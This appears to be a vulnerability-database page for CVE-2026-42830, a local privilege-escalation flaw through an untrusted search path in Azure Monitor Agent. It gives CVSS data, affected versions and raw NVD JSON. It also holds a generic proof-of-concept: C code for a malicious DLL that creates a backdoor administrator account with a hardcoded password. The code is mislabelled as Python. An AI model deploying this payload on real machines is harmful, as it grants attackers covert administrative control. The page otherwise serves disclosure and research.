Security Vulnerability Report
中文
CVE-2026-42830 CVSS 6.5 MEDIUM

CVE-2026-42830

Published: 2026-05-12 18:17:26
Last Modified: 2026-05-14 14:26:13

Description

Untrusted search path in Azure Monitor Agent allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_monitor_agent:*:*:*:*:*:*:*:* - VULNERABLE
Azure Monitor Agent (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <windows.h> #include <stdlib.h> // PoC for DLL Hijacking/Untrusted Search Path // This code demonstrates a malicious DLL that executes commands when loaded BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code to execute with elevated privileges upon loading // Example: Adding a user to the administrators group system("net user poc_user P@ssw0rd123 /add"); system("net localgroup administrators poc_user /add"); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42830", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:25.540", "lastModified": "2026-05-14T14:26:13.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Untrusted search path in Azure Monitor Agent allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.0, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-426"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_monitor_agent:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.42.0", "matchCriteriaId": "59DE9DC1-5568-4F78-9E8B-CCAF1DAEBED1"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42830", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}